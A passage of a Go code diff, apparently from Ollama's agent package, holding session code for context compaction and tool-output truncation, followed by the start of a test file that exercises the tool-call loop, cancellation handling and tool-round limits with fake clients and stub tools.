ChatID: opts.ChatID,
Model: opts.Model,
SystemPrompt: opts.SystemPrompt,
Messages: messages,
Tools: s.availableTools(),
Format: opts.Format,
Latest: latest,
Options: opts.Options,
KeepAlive: opts.KeepAlive,
Think: opts.Think,
ContinueTask: true,
Progress: func(progress CompactionProgress) {
_ = s.emit(Event{Type: EventCompactionProgress, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Tokens: progress.Tokens})
},
}
}
func (s *Session) emitCompactionStarted(runID string, opts RunOptions, status string) {
_ = s.emit(Event{
Type: EventCompactionStarted,
RunID: runID,
ChatID: opts.ChatID,
Model: opts.Model,
Status: status,
})
}
func (s *Session) emitCompactionSkipped(runID string, opts RunOptions, status, reason string) {
_ = s.emit(Event{
Type: EventCompactionSkipped,
RunID: runID,
ChatID: opts.ChatID,
Model: opts.Model,
Status: status,
Content: CompactionSkippedMessage(reason),
})
}
func (s *Session) emitCompacted(runID string, opts RunOptions, messages []api.Message, status, summary string) {
_ = s.emit(Event{
Type: EventCompacted,
RunID: runID,
ChatID: opts.ChatID,
Model: opts.Model,
Status: status,
Content: summary,
Messages: messages,
})
}
func (s *Session) autoCompactionTrigger(req CompactionRequest) string {
if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
if req.Force {
return "force"
}
contextWindow := compactor.contextWindowTokens(req.Options)
threshold := int(float64(contextWindow) * compactor.threshold())
if threshold <= 0 {
return ""
}
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
return "prompt_eval"
}
if estimateCompactionRequestTokens(req) >= threshold {
return "estimate"
}
}
return ""
}
func CompactionSkippedMessage(reason string) string {
reason = strings.TrimSpace(reason)
if reason == "" {
reason = "compaction could not run"
}
return reason
}
func resolvedMaxToolRounds(value int) int {
if value == 0 {
return defaultMaxToolRounds
}
return value
}
func (s *Session) toolMessageForContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message {
maxRunes := maxToolResultRunes
if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 {
maxRunes = min(maxRunes, limit)
}
msg := toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
threshold := s.compactionThresholdTokens(opts)
if threshold <= 0 {
return msg
}
projected := append(append([]api.Message(nil), messages...), msg)
projectedTokens := s.estimateRunPromptTokens(opts, projected)
if projectedTokens < threshold {
return msg
}
baseTokens := s.estimateRunPromptTokens(opts, messages)
overheadTokens := estimateMessagesTokens([]api.Message{{
Role: "tool",
ToolName: toolName,
ToolCallID: toolCallID,
}})
// Keep oversized tool output below the compaction threshold before it is
// appended to history. This is especially important for <=8k contexts: the
// next step must still have enough room to compact and continue the same
// user request instead of asking the user to prompt again.
availableRunes := (threshold - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4
maxRunes = min(maxRunes, max(0, availableRunes))
msg.Content = truncateToolResultContentTo(content, maxRunes)
return msg
}
func (s *Session) toolMessageForPostCompactionContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message {
maxRunes := maxToolResultRunes
if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 {
maxRunes = min(maxRunes, limit)
}
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
}
baseTokens := s.estimateRunPromptTokens(opts, messages)
overheadTokens := estimateMessagesTokens([]api.Message{{
Role: "tool",
ToolName: toolName,
ToolCallID: toolCallID,
}})
availableRunes := (contextWindow - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4
maxRunes = min(maxRunes, max(0, availableRunes))
return toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
}
func toolMessageWithLimit(toolName, toolCallID, content string, maxRunes int) api.Message {
return api.Message{
Role: "tool",
Content: truncateToolResultContentTo(content, maxRunes),
ToolName: toolName,
ToolCallID: toolCallID,
}
}
func smallContextToolResultLimitRunes(contextWindow int) int {
switch {
case contextWindow > 0 && contextWindow <= tinyContextToolResultTokenWindow:
return tinyContextToolResultRunes
case contextWindow > 0 && contextWindow <= smallContextToolResultTokenWindow:
return smallContextToolResultRunes
default:
return 0
}
}
func (s *Session) availableTools() api.Tools {
if s == nil || s.Tools == nil {
return nil
}
return s.Tools.Tools()
}
func (s *Session) compactionThresholdTokens(opts RunOptions) int {
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return 0
}
configuredThreshold := 0.0
if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
configuredThreshold = compactor.Options.Threshold
}
threshold := int(float64(contextWindow) * ResolveCompactionThreshold(configuredThreshold))
if threshold <= 0 {
return 0
}
return threshold
}
func (s *Session) contextWindowTokens(opts RunOptions) int {
if s.Compactor == nil {
return 0
}
configuredWindow := 0
if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
configuredWindow = compactor.Options.ContextWindowTokens
}
return ResolveContextWindowTokens(opts.Options, configuredWindow)
}
func toolMessage(toolName, toolCallID, content string) api.Message {
return toolMessageWithLimit(toolName, toolCallID, content, maxToolResultRunes)
}
func sanitizeMessageForRun(msg api.Message) api.Message {
if msg.Role == "tool" {
msg.Content = truncateToolResultContent(msg.Content)
}
return msg
}
func sanitizeMessagesForRequest(messages []api.Message) []api.Message {
if len(messages) == 0 {
return nil
}
sanitized := make([]api.Message, len(messages))
for i, msg := range messages {
sanitized[i] = sanitizeMessageForRequest(msg)
}
return sanitized
}
func sanitizeMessageForRequest(msg api.Message) api.Message {
return sanitizeMessageForRun(msg)
}
func truncateToolResultContent(content string) string {
return truncateToolResultContentTo(content, maxToolResultRunes)
}
func truncateToolResultContentTo(content string, maxRunes int) string {
if maxRunes <= 0 {
return fmt.Sprintf("%s omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]", toolOutputFullOmissionPrefix, approximateTokensFromRunes(len([]rune(content))))
}
if len(content) <= maxRunes {
return content
}
runes := []rune(content)
if len(runes) <= maxRunes {
return content
}
head := maxRunes * 3 / 4
tail := maxRunes - head
omitted := len(runes) - head - tail
marker := fmt.Sprintf(
"\n\n[tool output truncated: showing first ~%d tokens and last ~%d tokens; omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n",
approximateTokensFromRunes(head),
approximateTokensFromRunes(tail),
approximateTokensFromRunes(omitted),
)
return string(runes[:head]) + marker + string(runes[len(runes)-tail:])
}
func toolOutputFullyOmitted(content string) bool {
return strings.HasPrefix(content, toolOutputFullOmissionPrefix)
}
func approximateTokensFromRunes(n int) int {
if n <= 0 {
return 0
}
return max(1, (n+3)/4)
}
func messageEmpty(msg api.Message) bool {
return msg.Content == "" && msg.Thinking == "" && len(msg.ToolCalls) == 0
}
+1826
View File
@@ -0,0 +1,1826 @@
package agent
import (
"context"
"errors"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type fakeClient struct {
calls int
responses [][]api.ChatResponse
requests []*api.ChatRequest
err error
}
func (c *fakeClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
c.requests = append(c.requests, req)
if c.calls >= len(c.responses) {
return nil
}
responses := c.responses[c.calls]
c.calls++
for _, response := range responses {
if err := fn(response); err != nil {
return err
}
}
return c.err
}
type staticTool struct{}
type approvalTestTool struct {
called *bool
}
type cwdTestTool struct{}
type largeTool struct{}
type preTruncatedTool struct{}
type cancelingTool struct {
cancel context.CancelFunc
}
type cancelAfterToolCallClient struct {
cancel context.CancelFunc
}
type recordingCompactor struct {
requests []CompactionRequest
}
type oversizedCompactor struct {
requests []CompactionRequest
}
type recordingEventSink struct {
events []Event
}
func (s *recordingEventSink) Emit(event Event) error {
s.events = append(s.events, event)
return nil
}
func hasEventType(events []Event, eventType EventType) bool {
for _, event := range events {
if event.Type == eventType {
return true
}
}
return false
}
func hasEventWithTokens(events []Event, eventType EventType, tokens int) bool {
for _, event := range events {
if event.Type == eventType && event.Tokens == tokens {
return true
}
}
return false
}
func TestSessionEmitsToAllSinksAfterError(t *testing.T) {
errSink := EventSinkFunc(func(Event) error {
return errors.New("sink failed")
})
events := &recordingEventSink{}
session := &Session{EventSinks: []EventSink{errSink, events}}
err := session.emit(Event{Type: EventRunFinished})
if err == nil {
t.Fatal("emit should return the first sink error")
}
if !hasEventType(events.events, EventRunFinished) {
t.Fatalf("later sink did not receive event after earlier error: %#v", events.events)
}
}
func (c cancelAfterToolCallClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
args := api.NewToolCallFunctionArguments()
args.Set("value", "skip me")
if err := fn(api.ChatResponse{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}}}); err != nil {
return err
}
c.cancel()
return context.Canceled
}
func (c *recordingCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) {
c.requests = append(c.requests, req)
result := CompactionResult{Messages: req.Messages, Due: true}
if len(req.Messages) > 0 && req.Messages[len(req.Messages)-1].Role == "tool" {
result.Messages = CompactionSummaryMessages("tool result summarized", false)
result.Compacted = true
result.Summary = "tool result summarized"
}
return result, nil
}
func (c *oversizedCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) {
c.requests = append(c.requests, req)
summary := strings.Repeat("oversized summary ", 300)
return CompactionResult{
Messages: CompactionSummaryMessages(summary, req.ContinueTask),
Compacted: true,
Due: true,
Summary: summary,
}, nil
}
type recordingApprovalPrompter struct {
requests []ApprovalRequest
results []Approval
}
func (staticTool) Name() string {
return "echo_tool"
}
func (staticTool) Description() string {
return "echoes a value"
}
func (staticTool) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("value", api.ToolProperty{Type: api.PropertyType{"string"}})
return api.ToolFunction{
Name: "echo_tool",
Description: "echoes a value",
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
},
}
}
func (staticTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
return ToolResult{Content: "tool says hello"}, nil
}
func (largeTool) Name() string {
return "large_tool"
}
func (largeTool) Description() string {
return "returns a large result"
}
func (largeTool) Schema() api.ToolFunction {
return api.ToolFunction{
Name: "large_tool",
Description: "returns a large result",
Parameters: api.ToolFunctionParameters{
Type: "object",
},
}
}
func (largeTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
return ToolResult{Content: strings.Repeat("x", maxToolResultRunes+100)}, nil
}
func (preTruncatedTool) Name() string {
return "pre_truncated_tool"
}
func (preTruncatedTool) Description() string {
return "returns a large result that is already marked as truncated"
}
func (preTruncatedTool) Schema() api.ToolFunction {
return api.ToolFunction{
Name: "pre_truncated_tool",
Description: "returns a large result that is already marked as truncated",
Parameters: api.ToolFunctionParameters{
Type: "object",
},
}
}
func (preTruncatedTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
content := strings.Repeat("x", smallContextToolResultRunes) +
"\n\n[tool output truncated: showing first ~1500 tokens; omitted ~999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" +
strings.Repeat("y", smallContextToolResultRunes)
return ToolResult{Content: content}, nil
}
func (t cancelingTool) Name() string {
return "cancel_tool"
}
func (t cancelingTool) Description() string {
return "cancels while running"
}
func (t cancelingTool) Schema() api.ToolFunction {
return api.ToolFunction{
Name: t.Name(),
Description: t.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
},
}
}
func (t cancelingTool) Execute(ctx context.Context, _ ToolContext, _ map[string]any) (ToolResult, error) {
t.cancel()
<-ctx.Done()
return ToolResult{}, ctx.Err()
}
func (t approvalTestTool) Name() string {
return "approval_tool"
}
func (t approvalTestTool) Description() string {
return "requires approval"
}
func (t approvalTestTool) Schema() api.ToolFunction {
return api.ToolFunction{
Name: "approval_tool",
Description: "requires approval",
Parameters: api.ToolFunctionParameters{
Type: "object",
},
}
}
func (t approvalTestTool) RequiresApproval(map[string]any) bool {
return true
}
func (t approvalTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
if t.called != nil {
*t.called = true
}
return ToolResult{Content: "approved"}, nil
}
func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, req ApprovalRequest) (Approval, error) {
p.requests = append(p.requests, req)
if len(p.results) == 0 {
return Approval{Allow: true}, nil
}
result := p.results[0]
p.results = p.results[1:]
return result, nil
}
func (cwdTestTool) Name() string {
return "cwd_tool"
}
func (cwdTestTool) Description() string {
return "tests cwd state"
}
func (cwdTestTool) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("mode", api.ToolProperty{Type: api.PropertyType{"string"}})
props.Set("path", api.ToolProperty{Type: api.PropertyType{"string"}})
return api.ToolFunction{
Name: "cwd_tool",
Description: "tests cwd state",
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
},
}
}
func (cwdTestTool) RequiresApproval(map[string]any) bool {
return true
}
func (cwdTestTool) Execute(_ context.Context, toolCtx ToolContext, args map[string]any) (ToolResult, error) {
switch args["mode"] {
case "set":
path, _ := args["path"].(string)
return ToolResult{Content: "changed", WorkingDir: filepath.Join(toolCtx.WorkingDir, path)}, nil
case "escape":
return ToolResult{Content: "escaped", WorkingDir: filepath.Dir(toolCtx.WorkingDir)}, nil
default:
return ToolResult{Content: toolCtx.WorkingDir}, nil
}
}
func TestSessionRunsToolLoop(t *testing.T) {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}}},
},
{
{Message: api.Message{Role: "assistant", Content: "done"}},
},
},
}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if client.calls != 2 {
t.Fatalf("client calls = %d, want 2", client.calls)
}
if len(result.Messages) != 4 {
t.Fatalf("messages = %d, want 4", len(result.Messages))
}
if result.Messages[2].Role != "tool" || result.Messages[2].Content != "tool says hello" {
t.Fatalf("tool message = %#v", result.Messages[2])
}
if len(client.requests[0].Tools) != 1 {
t.Fatalf("first request tools = %d, want 1", len(client.requests[0].Tools))
}
if len(client.requests[1].Messages) != 3 {
t.Fatalf("second request messages = %d, want 3", len(client.requests[1].Messages))
}
}
func TestSessionAddsSystemPromptOnlyToRequest(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
session := &Session{Client: client}
_, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
SystemPrompt: "available context: go-code",
NewMessages: []api.Message{{Role: "user", Content: "hello"}},
})
if err != nil {
t.Fatal(err)
}
if len(client.requests) != 1 {
t.Fatalf("requests = %d, want 1", len(client.requests))
}
reqMessages := client.requests[0].Messages
if len(reqMessages) != 2 || reqMessages[0].Role != "system" || reqMessages[0].Content != "available context: go-code" {
t.Fatalf("request messages = %#v", reqMessages)
}
}
func TestSessionAccumulatesStreamingAssistantMessage(t *testing.T) {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
responses := make([]api.ChatResponse, 0, 100)
var wantContent, wantThinking string
for range 99 {
wantContent += "x"
wantThinking += "t"
responses = append(responses, api.ChatResponse{
Message: api.Message{Role: "assistant", Content: "x", Thinking: "t"},
})
}
toolCall := api.ToolCall{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}
responses = append(responses, api.ChatResponse{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{toolCall}},
})
session := &Session{
Client: &fakeClient{responses: [][]api.ChatResponse{responses}},
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "stream"}},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) != 2 || result.Messages[1].Content != wantContent || result.Messages[1].Thinking != wantThinking || len(result.Messages[1].ToolCalls) != 1 {
t.Fatalf("result messages = %#v", result.Messages)
}
}
func TestSessionRequestHistoryKeepsThinkingAndServerToolCallIDs(t *testing.T) {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
client := &fakeClient{
responses: [][]api.ChatResponse{
{
{Message: api.Message{Role: "assistant", Thinking: "private chain"}},
{Message: api.Message{Role: "assistant", Content: "I'll check."}},
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "volatile-random-id",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}}},
},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if len(client.requests) != 2 {
t.Fatalf("requests = %d, want 2", len(client.requests))
}
secondRequestMessages := client.requests[1].Messages
if len(secondRequestMessages) != 3 {
t.Fatalf("second request messages = %#v", secondRequestMessages)
}
assistant := secondRequestMessages[1]
if assistant.Role != "assistant" {
t.Fatalf("second request assistant = %#v", assistant)
}
if assistant.Thinking != "private chain" {
t.Fatalf("assistant thinking = %q, want preserved", assistant.Thinking)
}
if len(assistant.ToolCalls) != 1 || assistant.ToolCalls[0].ID != "volatile-random-id" {
t.Fatalf("assistant tool calls = %#v", assistant.ToolCalls)
}
tool := secondRequestMessages[2]
if tool.Role != "tool" || tool.ToolCallID != "volatile-random-id" {
t.Fatalf("tool result message = %#v", tool)
}
if len(result.Messages) < 3 || result.Messages[1].Thinking != "private chain" {
t.Fatalf("visible result messages lost thinking: %#v", result.Messages)
}
}
func TestSessionKeepsPartialStreamOnCancellation(t *testing.T) {
session := &Session{
Client: &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "partial "}},
{Message: api.Message{Role: "assistant", Content: "answer"}},
}},
err: context.Canceled,
},
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "cancel"}},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) != 2 || result.Messages[1].Content != "partial answer" {
t.Fatalf("result messages = %#v", result.Messages)
}
}
func TestSessionCancellationKeepsPartialResultWhenUISinkCancels(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel()
trace := &recordingEventSink{}
session := &Session{
Client: &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "partial"}},
}},
err: context.Canceled,
},
EventSinks: []EventSink{
EventSinkFunc(func(event Event) error {
if event.Type == EventRunFinished {
return context.Canceled
}
return nil
}),
trace,
},
}
result, err := session.Run(ctx, RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "cancel"}},
})
if err != nil {
t.Fatal(err)
}
if result == nil || len(result.Messages) != 2 || result.Messages[1].Content != "partial" {
t.Fatalf("result messages = %#v, want partial assistant result", result)
}
if !hasEventType(trace.events, EventRunFinished) {
t.Fatalf("trace sink did not receive run finished event: %#v", trace.events)
}
}
func TestSessionTreatsHTTPContextCanceledStringAsCancellation(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel()
client := &fakeClient{err: errors.New(`Post "http://127.0.0.1:11434/api/chat": context canceled`)}
session := &Session{Client: client}
result, err := session.Run(ctx, RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "hello"}},
})
if err != nil {
t.Fatalf("Run returned error for canceled HTTP request: %v", err)
}
if result == nil {
t.Fatal("Run returned nil result")
}
if len(result.Messages) != 1 || result.Messages[0].Content != "hello" {
t.Fatalf("messages = %#v, want original user message only", result.Messages)
}
}
func TestSessionCancellationAfterToolCallAppendsSkippedToolMessage(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: cancelAfterToolCallClient{cancel: cancel},
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(ctx, RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "cancel after tool"}},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v", result.Messages)
}
if len(result.Messages[1].ToolCalls) != 1 {
t.Fatalf("assistant tool calls = %#v", result.Messages[1])
}
if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
t.Fatalf("skipped tool message = %#v", result.Messages[2])
}
if !strings.Contains(result.Messages[2].Content, "run was canceled") {
t.Fatalf("skipped content = %q", result.Messages[2].Content)
}
}
func TestSessionCancellationDuringToolExecutionAppendsToolMessage(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
events := &recordingEventSink{}
registry := &Registry{}
registry.Register(cancelingTool{cancel: cancel})
client := &fakeClient{responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "cancel_tool",
},
}}}},
}}}
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
EventSinks: []EventSink{events},
}
result, err := session.Run(ctx, RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "cancel during tool"}},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v", result.Messages)
}
if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
t.Fatalf("tool message = %#v", result.Messages[2])
}
if !strings.Contains(result.Messages[2].Content, "context canceled") {
t.Fatalf("tool content = %q", result.Messages[2].Content)
}
var finished *Event
for i := range events.events {
if events.events[i].Type == EventRunFinished {
finished = &events.events[i]
}
}
if finished == nil {
t.Fatalf("run finished event missing: %#v", events.events)
}
if finished.Status != "canceled" {
t.Fatalf("run status = %q, want canceled", finished.Status)
}
}
func TestSessionToolLoopAllowsRoundsUnderDefaultCap(t *testing.T) {
responses := make([][]api.ChatResponse, 0, 26)
for i := range 25 {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
responses = append(responses, []api.ChatResponse{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-" + string(rune('a'+i)),
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}},
}})
}
responses = append(responses, []api.ChatResponse{{
Message: api.Message{Role: "assistant", Content: "done"},
}})
client := &fakeClient{responses: responses}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
if _, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "keep going"}},
}); err != nil {
t.Fatal(err)
}
if client.calls != 26 {
t.Fatalf("client calls = %d, want 26", client.calls)
}
}
func TestSessionToolRoundLimitAppendsSkippedToolMessages(t *testing.T) {
firstArgs := api.NewToolCallFunctionArguments()
firstArgs.Set("value", "first")
secondArgs := api.NewToolCallFunctionArguments()
secondArgs.Set("value", "second")
thirdArgs := api.NewToolCallFunctionArguments()
thirdArgs.Set("value", "third")
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: firstArgs,
},
}}},
}},
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
{
ID: "call-2",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: secondArgs,
},
},
{
ID: "call-3",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: thirdArgs,
},
},
}},
}},
},
}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "hit cap"}},
MaxToolRounds: 1,
})
if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 1 rounds") {
t.Fatalf("error = %v, want tool-round limit", err)
}
if result == nil {
t.Fatal("expected partial result with skipped tool messages")
}
if len(result.Messages) != 6 {
t.Fatalf("messages = %#v", result.Messages)
}
for i, wantID := range []string{"call-2", "call-3"} {
msg := result.Messages[4+i]
if msg.Role != "tool" || msg.ToolCallID != wantID {
t.Fatalf("skipped tool %d = %#v", i, msg)
}
if !strings.Contains(msg.Content, "max tool-round limit of 1") {
t.Fatalf("skipped content = %q", msg.Content)
}
}
}
func TestSessionToolLoopStopsAtDefaultRoundCap(t *testing.T) {
responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+1)
for range defaultMaxToolRounds + 1 {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
responses = append(responses, []api.ChatResponse{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}},
}})
}
client := &fakeClient{responses: responses}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
_, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "keep going"}},
})
if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 100 rounds") {
t.Fatalf("error = %v, want default tool round limit", err)
}
if client.calls != defaultMaxToolRounds+1 {
t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+1)
}
}
func TestSessionToolLoopNegativeLimitIsUnlimited(t *testing.T) {
responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+2)
for range defaultMaxToolRounds + 1 {
args := api.NewToolCallFunctionArguments()
args.Set("value", "hello")
responses = append(responses, []api.ChatResponse{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call",
Function: api.ToolCallFunction{
Name: "echo_tool",
Arguments: args,
},
}}},
}})
}
responses = append(responses, []api.ChatResponse{{
Message: api.Message{Role: "assistant", Content: "done"},
}})
client := &fakeClient{responses: responses}
registry := &Registry{}
registry.Register(staticTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
if _, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "keep going"}},
MaxToolRounds: -1,
}); err != nil {
t.Fatal(err)
}
if client.calls != defaultMaxToolRounds+2 {
t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+2)
}
}
func TestSessionTruncatesLargeToolResultsBeforeHistory(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "large_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(largeTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
}
result, err := session.Run(context.Background(), RunOptions{
ChatID: "chat-1",
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
if len(result.Messages) < 3 {
t.Fatalf("messages = %#v", result.Messages)
}
content := result.Messages[2].Content
if !strings.Contains(content, "[tool output truncated: showing first ~") ||
!strings.Contains(content, "omitted ~25 tokens") ||
!strings.Contains(content, "Use a narrower command, line range, or search query") {
t.Fatalf("tool content missing truncation marker: %q", content)
}
if strings.Count(content, "x") != maxToolResultRunes {
t.Fatalf("truncated content x count = %d, want %d", strings.Count(content, "x"), maxToolResultRunes)
}
requestContent := client.requests[1].Messages[2].Content
if !strings.Contains(requestContent, "[tool output truncated: showing first ~") {
t.Fatalf("second model request did not use capped tool content: %q", requestContent)
}
if strings.Count(requestContent, "x") > maxToolResultRunes {
t.Fatalf("request tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes)
}
}
func TestSessionSmallContextUsesLowerToolResultPreviewCap(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "large_tool",
Arguments: args,
},
}}},
}},
{{Message: api.Message{Role: "assistant", Content: "done"}}},
},
}
registry := &Registry{}
registry.Register(largeTool{})
session := &Session{
Client: client,
Tools: registry,
AllowAllTools: true,
Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: smallContextToolResultTokenWindow,
}},
}
result, err := session.Run(context.Background(), RunOptions{
Model: "model",
NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
})
if err != nil {
t.Fatal(err)
}
content := result.Messages[2].Content
if !strings.Contains(content, "[tool output truncated: showing first ~") ||
!strings.Contains(content, "Use a narrower command, line range, or search query") {
t.Fatalf("tool content missing small-context preview marker: %q", content)
}
if xCount := strings.Count(content, "x"); xCount != smallContextToolResultRunes {
t.Fatalf("small-context tool content x count = %d, want %d", xCount, smallContextToolResultRunes)
}
if client.requests[1].Messages[2].Content != content {
t.Fatalf("second model request did not use small-context tool preview")
}
}
func TestSessionSmallContextRecapsPreTruncatedToolOutput(t *testing.T) {
args := api.NewToolCallFunctionArguments()
client := &fakeClient{
responses: [][]api.ChatResponse{
{{
